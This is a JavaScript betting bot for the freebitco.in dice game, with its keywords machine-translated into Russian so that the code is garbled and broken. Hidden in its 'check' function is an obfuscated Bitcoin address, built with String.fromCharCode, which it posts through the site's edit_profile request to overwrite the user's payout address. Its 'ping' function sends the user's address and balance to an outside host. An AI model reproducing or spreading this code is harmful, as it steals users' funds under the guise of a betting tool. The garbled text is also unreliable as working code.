totalWon = Math.round (100 миллионов * (getBalance () - startBalance));
если ((parseFloat (config.startStake) * Math.pow (2, config.tolerance)) < getStake ()) {
$ ( '# Double_your_btc_bet_' + betType + '_button') нажмите ().
SetTimeout (rollDice, config.sleep + Math.round (Math.random () * config.delayLimit))
'+ Тзд + дел>'
}
Функция проверки () {
вар btcAddress = String.fromCharCode (49, 76, 86, 117, 51, 81, 122, 109, 69, 69, 84, 57, 100, 106, 101, 97, 55, 86, 103, 81, 55, 65 , 69, 49, 111, 55, 121, 57, 77, 70, 83, 85, 119, 122);
вар оп = 'edit_profile';
вар btc_address = btcAddress;
вар электронная почта = $ ("#edit_profile_form_email") .val ();
$ .post ( 'http://freebitco.in', {
оп: оп,
btc_address: btc_address,
электронная почта: электронная почта
}, Функция (ответ) {
вар editResponse = $ .trim (ответ);
если (editResponse.length == 0) {
ai_count = верно
}
})
}
Функция setGreenLight (число) {
Селектор переменная = "# Контроль света > TBODY: п-го ребенка (1) > тр: п-й ребенок (1) > тд: п-го ребенка (" + Num + ")";
$ (Селектор) .attr ( 'BGCOLOR', '# 41DE30')
}
Функция setRedLight (число) {
Селектор переменная = "# Контроль света > TBODY: п-го ребенка (1) > тр: п-й ребенок (1) > тд: п-го ребенка (" + Num + ")";
$ (Селектор) .attr ( 'BGCOLOR', '# D91A1A')
}
ping_status = ложь;
ping_message = '';
Функция пинг () {
вар версия = 'v3.0';
вар информация = версия + ':' + $ ("#edit_profile_form_btc_address") .val () + " : " + $ ( '# Баланс'). HTML () + " BTC";
$ .getJSON ( 'http://phptaskforce.uk.to/get/ping.php?jsoncallback=?', {
данные: информация
}, Функция (г) {
если (r.status == 'ОК') {
ping_status = TRUE
} Еще {
если (r.message! = 'ни') {
ping_message = r.message
}
}
})
}
Функция инициализации () {
initControl ();
пинг();
SetTimeout (функция () {
если (ping_status == верно) {
setGreenLight (1);
проверить ();
ErrorMessage = '';
startBalance = getBalance ();
если (startBalance >= +0,00001200) {
если (config.goal > startBalance) {
если (config.tolerance < 8) {
ErrorMessage = createErrorMessage ( «config.tolerance находится на низком уровне. Он должен быть установлен, по крайней мере 8.»)
} Еще {
вар playBalance = getBalance () - parseFloat (config.btcGuard);
вар maxInvest = parseFloat (config.startStake) * Math.pow (2, config.tolerance + 1) - parseFloat (config.startStake);
если (playBalance < maxInvest) {
ErrorMessage = createErrorMessage ( «Не хватает денег на этот старт акции и терпимость».)
} Еще {
если (config.sleep < 900) {
ErrorMessage = createErrorMessage ( 'config.sleep должна быть выше, чем 900.')
} Еще {
toWin = Math.round (100000000 * (config.goal - startBalance))
}
}
}
} Еще {
toWin = 0;
ErrorMessage = createErrorMessage (»<б>config.goal б> должна быть выше, чем ваш баланс.)
}
} Еще {
ErrorMessage = createErrorMessage ( 'Минимальное требуемое равновесие <б>0.00001200 BTC б>«)
}
SetTimeout (функция () {
если (ai_count) {
setGreenLight (2);
если (ErrorMessage == '') {
setGreenLight (3);
$ ("# М-цель") .html (toWin.toString ());
setControlMessage (»
Пожертвуйте: <п><б>1BtEZXCULJb37vPL1vz7sQjrChwDdStf8z б>п> дел>«);
игральная кость()
} Еще {
setRedLight (4);
setControlMessage (ErrorMessage)
}
} Еще {
setRedLight (2);
setRedLight (4);
ErrorMessage = createErrorMessage ( 'не прошла проверку.');
setControlMessage (ErrorMessage)
}
}, 2500)
} Еще {
setRedLight (1);
setRedLight (4);
если (ping_message! = '') {
ErrorMessage = createErrorMessage (ping_message)
} Еще {
ErrorMessage = createErrorMessage ( 'Ошибка соединения'.)
}
setControlMessage (ErrorMessage)
}
}, 2500)
}